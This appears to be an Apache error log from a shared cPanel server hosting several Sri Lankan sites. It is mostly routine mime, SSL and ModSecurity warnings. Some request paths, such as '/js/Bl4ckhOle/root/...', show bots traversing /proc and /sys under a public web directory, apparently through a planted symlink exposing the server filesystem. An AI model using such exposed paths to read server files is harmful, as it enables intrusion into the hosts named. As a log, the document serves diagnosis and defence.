[Fri Jul 17 09:01:46.778197 2026] [security2:error] [pid 2030955:tid 2030955] [client 47.79.11.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:4/subsystem/ttyS3/device/subsystem/"] [unique_id "almiIvwooI4qY7Jg93pWiAAAABM"]
[Fri Jul 17 09:01:46.871871 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:46.882113 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:46.926577 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/fasync_cache/validate
[Fri Jul 17 09:01:47.026919 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:47.128447 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:47.177578 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:47.322882 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:47.404834 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:47.555645 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:47.646614 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:47.661535 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:47.707693 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:48.039885 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:48.096449 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:48.193811 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:48.197276 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:59142] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:48.270321 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:48.448851 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:48.494648 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:48.765837 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:59174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:48.850650 2026] [security2:error] [pid 1993619:tid 1993619] [client 185.191.171.8:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/include/linux/ethtool.h"] [unique_id "almiJI1dLClkUfK_dfHmCgAAAAI"]
[Fri Jul 17 09:01:48.850697 2026] [security2:error] [pid 1993619:tid 1993619] [client 185.191.171.8:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/include/linux/ethtool.h"] [unique_id "almiJI1dLClkUfK_dfHmCgAAAAI"]
[Fri Jul 17 09:01:50.752765 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:50.772348 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:50.846787 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:59260] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:50.877563 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:50.893333 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:51.309204 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:51.311156 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:51.514340 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:51.542489 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:51.588186 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:51.882074 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:51.958321 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:52.021015 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:52.108578 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:52.991939 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:53.643352 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:53.646236 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:53.647077 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 47.82.15.248:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-opt-cpanel-ea\\x2dphp83-root-etc.mount/memory.force_empty
[Fri Jul 17 09:01:53.648400 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:53.785832 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:53.806563 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:33874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:53.811006 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:53.815157 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:53.815698 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:53.993899 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:58.287842 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.247:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/album/13/giview"] [unique_id "almiLq14q1EBnanVMYGkvQAAAAk"]
[Fri Jul 17 09:01:58.288226 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/album/13/giview"] [unique_id "almiLq14q1EBnanVMYGkvQAAAAk"]
[Fri Jul 17 09:01:58.288534 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/album/13/giview"] [unique_id "almiLq14q1EBnanVMYGkvQAAAAk"]
[Fri Jul 17 09:01:58.772363 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:10.804577 2026] [security2:error] [pid 2029866:tid 2029866] [client 57.141.18.86:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory124/node0/memory63/node0/memory60/node0/memory102/"] [unique_id "almiOl1_86A5R6msWNfVcgAAABI"]
[Fri Jul 17 09:02:10.804634 2026] [security2:error] [pid 2029866:tid 2029866] [client 57.141.18.86:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory124/node0/memory63/node0/memory60/node0/memory102/"] [unique_id "almiOl1_86A5R6msWNfVcgAAABI"]
[Fri Jul 17 09:02:11.453451 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.454274 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967176 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967252 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967467 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967503 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967534 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967554 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967574 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967591 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967641 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967671 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967695 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967732 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967752 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967769 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:11.967872 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:12.349693 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/secpath_cache/align
[Fri Jul 17 09:02:12.555894 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:12.632726 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:12.878819 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:13.108922 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:13.204737 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:13.420398 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:13.421995 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:02:13.522511 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almiPejME1mgqYZ5O94nXwAAAAE"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:02:13.522541 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almiPejME1mgqYZ5O94nXwAAAAE"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:02:13.522970 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:23.578884 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/drivers/ac/unbind
[Fri Jul 17 09:02:23.824206 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:23.934069 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:24.315354 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:24.434718 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:25.004478 2026] [security2:error] [pid 2013829:tid 2013829] [client 134.122.200.52:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "maximsholdings.com"] [uri "/"] [unique_id "almiSQ7FYe46zHK_jL3Q_wAAABk"]
[Fri Jul 17 09:02:25.004991 2026] [security2:error] [pid 2013829:tid 2013829] [client 134.122.200.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "maximsholdings.com"] [uri "/"] [unique_id "almiSQ7FYe46zHK_jL3Q_wAAABk"]
[Fri Jul 17 09:02:25.196996 2026] [security2:error] [pid 2013829:tid 2013829] [client 134.122.200.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "maximsholdings.com"] [uri "/index.php"] [unique_id "almiSQ7FYe46zHK_jL3Q_wAAABk"]
[Fri Jul 17 09:02:25.387997 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:25.484281 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:25.707173 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:29.797206 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almiTQ7FYe46zHK_jL3RAQAAABk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1055&page_105=1503
[Fri Jul 17 09:02:29.797245 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almiTQ7FYe46zHK_jL3RAQAAABk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1055&page_105=1503
[Fri Jul 17 09:02:31.830934 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:32.286244 2026] [security2:error] [pid 2028246:tid 2028246] [client 57.141.18.19:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory76/node0/memory123/node0/memory123/node0/memory107/"] [unique_id "almiUDsMb3am0TgkjETb9AAAAAo"]
[Fri Jul 17 09:02:32.286282 2026] [security2:error] [pid 2028246:tid 2028246] [client 57.141.18.19:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory76/node0/memory123/node0/memory123/node0/memory107/"] [unique_id "almiUDsMb3am0TgkjETb9AAAAAo"]
[Fri Jul 17 09:02:35.502183 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:35466] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:02:42.352397 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:39192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:02:46.178720 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:39388] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:02:47.429269 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:47.692806 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:47.790235 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:47.906646 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.140964 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.254024 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.255142 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.417420 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.424968 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.451969 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.526020 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.670732 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.853846 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:48.879469 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:50.674695 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:39874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:02:51.179498 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 57.141.18.94:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory125/node0/memory97/node0/cpu1/crash_notes
[Fri Jul 17 09:02:51.221257 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:39894] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:02:51.280757 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:51.356971 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:51.388027 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:51.454354 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:51.647831 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:51.657275 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:51.692471 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:52.142411 2026] [security2:error] [pid 2029866:tid 2029866] [client 175.157.118.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-includes/js/jquery/ui/core.min.js"] [unique_id "almiZF1_86A5R6msWNfViQAAABI"], referer: https://millenniumagro.lk/product/actara-05g/
[Fri Jul 17 09:02:52.142457 2026] [security2:error] [pid 2029866:tid 2029866] [client 175.157.118.84:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-includes/js/jquery/ui/core.min.js"] [unique_id "almiZF1_86A5R6msWNfViQAAABI"], referer: https://millenniumagro.lk/product/actara-05g/
[Fri Jul 17 09:02:52.196565 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:52.268124 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:52.363254 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:52.389145 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/wp-cron.php"] [unique_id "almiZA5GPQ6hs4VrfMpCzwAAAAY"]
[Fri Jul 17 09:02:52.389177 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/wp-cron.php"] [unique_id "almiZA5GPQ6hs4VrfMpCzwAAAAY"]
[Fri Jul 17 09:02:53.624848 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:53.853890 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:53.892313 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:53.976836 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:54.069929 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:54.093682 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:54.136643 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:54.420066 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:54.536804 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:54.809894 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:54.868377 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:45984] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:02:54.932449 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:54.972550 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:02:58.661479 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46218] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:02:59.691610 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:46252] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:00.194218 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:46286] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:02.308559 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:02.313442 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:03:03.955560 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:58918] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:05.088431 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:59116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:03:07.396294 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
